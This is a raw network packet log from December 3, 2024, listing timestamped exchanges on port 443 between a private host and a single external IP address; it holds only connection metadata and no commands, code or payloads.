Dec 3, 2024 10:12:16.508397102 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.508441925 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.519467115 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.520973921 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.522305012 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.522360086 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.533061028 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.533155918 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.535690069 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.535753012 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.546685934 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.549413919 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.551383972 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.551431894 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.560165882 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.560214043 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.595474005 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.595560074 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.595591068 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.595638990 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.638024092 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.638148069 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.638174057 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.638222933 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.640157938 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.640221119 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.644598961 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.644654989 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.644678116 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.644723892 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.648986101 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.649040937 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.649086952 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.649130106 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.653439999 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.653496027 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.653501034 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.653525114 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.653541088 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.653573036 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.657660961 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.657715082 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.657738924 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.657783031 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.663012981 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.663064003 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.663153887 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.663196087 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.667808056 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.667881966 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.667905092 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.667951107 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.676318884 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.676402092 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.676440001 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.676476955 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.689219952 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.689295053 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.689327002 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.689377069 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.696295023 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.696408987 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.696429968 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.696476936 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.706382036 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.706435919 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.707051039 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.707097054 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.716449022 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.716504097 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.716528893 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.716573954 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.725905895 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.726157904 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.726183891 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.726229906 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.758235931 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.758320093 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.758348942 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.758390903 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.759808064 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.759900093 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.759953976 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.760004997 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.762474060 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.762531996 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.762649059 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.762697935 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.762713909 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.762758970 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.765048981 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.765095949 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.766019106 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.766066074 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.768435955 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.768496037 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.769639015 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.769706011 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.771452904 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.771512032 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.776001930 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.776066065 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.777126074 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.777179956 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.782432079 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.782481909 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.783474922 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.783525944 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.796611071 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.796677113 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.797792912 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.797851086 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.797873974 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.797921896 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.800411940 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.800467014 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.840990067 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.841042042 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.841973066 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.842015982 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.842607021 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.842652082 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.844870090 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.844917059 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.846317053 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.846359968 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.846998930 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.847043991 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.849370956 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.849411964 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.849478960 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.849522114 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.851821899 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.851862907 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.851867914 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.851912022 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.854123116 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.854211092 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.854222059 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.854271889 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.856511116 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.856565952 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.858405113 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.858452082 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.864473104 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.864518881 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.864557981 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.864607096 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.865597010 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.865648985 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.867522955 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.867568016 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.874497890 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.874547958 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.874619961 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.874664068 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.875546932 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.875595093 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.877403021 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.877446890 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.883527994 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.883580923 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.883606911 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.883652925 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.884550095 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.884609938 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.886105061 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.886152983 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.896027088 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.896091938 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.896198988 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.896245003 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.897001982 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.897053003 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.900084019 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.900218010 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.903073072 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.903130054 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.903280020 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.903341055 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.904006004 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.904052973 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.905385017 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.905457973 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.905492067 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.905541897 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.907520056 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.907597065 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.907617092 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.907665014 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.908593893 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.908643007 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.912025928 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.912080050 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.917599916 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.917691946 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.917932034 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.917998075 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.918864012 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.918953896 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.920387030 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.920443058 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.927196980 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.927258015 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.927282095 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.927328110 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.928070068 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.928117037 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.929522038 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.929615974 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.936279058 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.936336040 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.936366081 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.936414003 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.937220097 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.937263966 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.938880920 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.938925028 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.945233107 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.945305109 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.945323944 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.945379972 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.946248055 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.946297884 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.947716951 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.947765112 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.954031944 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.954087973 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.954111099 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.954149961 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.954911947 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.954960108 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.956474066 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.956521034 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.962335110 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.962387085 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.962415934 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.962459087 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.963306904 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.963354111 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.964704990 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.964756012 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.970558882 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.970642090 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.971048117 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.971117973 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.971129894 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.971173048 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.973385096 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.973448038 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.977159977 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.977237940 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.977277040 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.977325916 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.977883101 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.977951050 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.977961063 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.978003979 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.983472109 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.983536959 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.984148026 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.984196901 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.984402895 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.984447002 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.986721992 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.986783028 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.998584032 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.998625994 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.998681068 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.998693943 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.998706102 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:16.998728037 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.998728037 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:16.998755932 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.000447989 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.000500917 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.000524998 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.000567913 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.002300024 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.002357006 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.002377987 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.002423048 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.004160881 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.004208088 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.042354107 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.042438030 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.042728901 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.042776108 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.043049097 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.043092966 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.044394016 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.044454098 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.044543028 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.044590950 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.045736074 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.045780897 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.046000004 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.046045065 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.047179937 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.047234058 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.047816038 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.047868967 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.047887087 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.047929049 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.049120903 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.049169064 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.050554037 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.050646067 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.050842047 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.051040888 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.051985025 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.052031040 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.052046061 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.052093029 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.053247929 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.053296089 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.053324938 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.053369045 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.054672003 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.054718018 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.055874109 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.055919886 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.055982113 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.056060076 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.057441950 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.057497025 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.057589054 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.057638884 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.058573008 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.058619976 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.059315920 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.059364080 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.059421062 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.059468031 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.061515093 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.061564922 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.061619043 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.061662912 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.062069893 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.062114954 CET	49764	443	192.168.2.4	142.250.181.129
